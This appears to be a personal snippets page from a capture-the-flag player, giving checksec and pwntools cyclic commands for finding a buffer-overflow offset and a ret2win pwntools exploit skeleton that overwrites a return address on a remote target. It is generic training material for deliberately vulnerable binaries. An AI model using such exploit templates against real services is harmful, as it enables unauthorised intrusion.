M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

Pwn Recon — checksec + Cyclic Offset

First moves against a pwn target: read the binary''s mitigations (NX/PIE/RELRO/canary), then pin the overflow offset with a De Bruijn pattern.

bash
# which mitigations are in play?
checksec --file=./<binary>

# find the exact offset to the saved return address
pwn cyclic 200            # generate a pattern, feed it to the crashing input
pwn cyclic -l 0x<value>   # look up the offset from the value that landed in RIP/EIP

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)

ret2win pwntools Skeleton

Minimal pwntools template for a classic ret2win: pad to the saved return address, then jump to the win function.

python
from pwn import *

elf = context.binary = ELF('./<binary>')
# p = process(elf.path)
p = remote('<target-ip>', <port>)

OFFSET = <offset>              # bytes from buffer start to saved RIP
win    = elf.symbols['win']    # target function address

payload  = b'A' * OFFSET
payload += p64(win)            # overwrite return address

p.sendlineafter(b'> ', payload)
p.interactive()

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)